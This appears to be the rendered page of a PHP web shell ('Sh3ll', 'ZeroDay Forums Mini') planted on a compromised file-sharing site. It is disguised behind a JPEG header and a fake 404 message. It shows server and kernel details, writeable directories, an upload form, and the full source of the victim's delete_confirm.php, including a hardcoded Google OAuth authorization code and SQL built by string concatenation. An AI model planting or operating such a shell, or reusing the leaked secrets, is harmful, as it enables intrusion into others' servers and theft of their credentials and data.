����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/sharefilefree/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/sharefilefree/delete_confirm.php
<?php
require 'vendor/autoload.php';
function getClient()
{
    $client = new Google_Client();
    $client->setApplicationName('Google Drive API PHP Quickstart');
    $client->setScopes(Google_Service_Drive::DRIVE);
    $client->setAuthConfig('giangnn30.json');
    $client->setAccessType('offline');
    $client->setPrompt('select_account consent');

    // Load previously authorized token from a file, if it exists.
    // The file token.json stores the user's access and refresh tokens, and is
    // created automatically when the authorization flow completes for the first
    // time.
    $tokenPath = 'data/token.json';

    if (file_exists($tokenPath)) {
        $accessToken = json_decode(file_get_contents($tokenPath), true);
        $client->setAccessToken($accessToken);
    }

    // If there is no previous token or it's expired.
    if ($client->isAccessTokenExpired()) {
        // Refresh the token if possible, else fetch a new one.
        if ($client->getRefreshToken()) {
            $client->fetchAccessTokenWithRefreshToken($client->getRefreshToken());
        } else {
            // Request authorization from the user.

            /*$authUrl = $client->createAuthUrl();
            printf("Open the following link in your browser:\n%s\n", $authUrl);
            print 'Enter verification code: ';
            exit();*/

            //$authCode = trim(fgets(STDIN));
            $authCode = '4/0AX4XfWg5Mx2kEr55X7P77sd_upRb0MVZoyIQdaHMyk3g5TiP7xIgvk5V1UiM4mezBuEjoQ';
            //$authCode = $_GET['code'];
            // Exchange authorization code for an access token.
            $accessToken = $client->fetchAccessTokenWithAuthCode($authCode);
            $client->setAccessToken($accessToken);

            // Check to see if there was an error.
            if (array_key_exists('error', $accessToken)) {
                throw new Exception(join(', ', $accessToken));
            }
        }
        // Save the token to a file.
        if (!file_exists(dirname($tokenPath))) {
            mkdir(dirname($tokenPath), 0777, true);
        }
        file_put_contents($tokenPath, json_encode($client->getAccessToken()));
    }
    return $client;
}

$client = getClient();

$service = new Google_Service_Drive($client);
//Insert a file
$file = new Google_Service_Drive_DriveFile();

$currPage = "delete";

include_once("includes/header.php");

$key = $_REQUEST["key"];

if (!$key) {
    include("notfound.php");
    exit;
}

$fileInfos = getFileInfos($key,"delete");

$id = $fileInfos->drive_id;

if($id==''){
    include("notfound.php");
    exit;
}

if (!$fileInfos || !$fileInfos->id) {
    include("notfound.php");
    exit;
}
$uid= 0;
if(isset($_SESSION['uid']) and intval($_SESSION['uid'])>0){
    $uid = $_SESSION['uid'];
}
if($fileInfos->pwd_protected==1){

    if($_SESSION["pwdVerified"][$fileInfos->id]==true){
        $sql = "delete from `" . $config->tablePrefix . "files` where id = '" . $fileInfos->id . "' and uid = '$uid'";
        $SFS->dbquery($sql);
        $file_path = $config->uploadDir . $fileInfos->uid . "/" . $fileInfos->id;
        if (file_exists($file_path)) xrmdir($file_path);
        $service->files->delete($id);
        $success = lang("success_delfile");
    }
}else{
    $sql = "delete from `" . $config->tablePrefix . "files` where id = '" . $fileInfos->id . "' and uid = '$uid'";
    $SFS->dbquery($sql);
    $file_path = $config->uploadDir . $fileInfos->uid . "/" . $fileInfos->id;
    if (file_exists($file_path)) xrmdir($file_path);
    $service->files->delete($id);
    $success = lang("success_delfile");
}
?>
    <div class='container'>
    <div class="jumbotron">
        <h1><?php echo $config->siteName; ?> <small>File Deletion Page</small></h1>
        <a href='<?php echo $config->instDir; ?>/' class='btn btn-lg btn-primary mt20 btn-wrap'>upload and share files for free</a>
    </div>

    <div class="row">
        <div class="col-sm-9">
<?php if (isset($success) && $success) {
    echo "<div class='alert alert-success'>$success</div>";
}
?>
        </div>
    </div>
    </div>
<?php include("includes/footer.php"); ?>

ZeroDay Forums Mini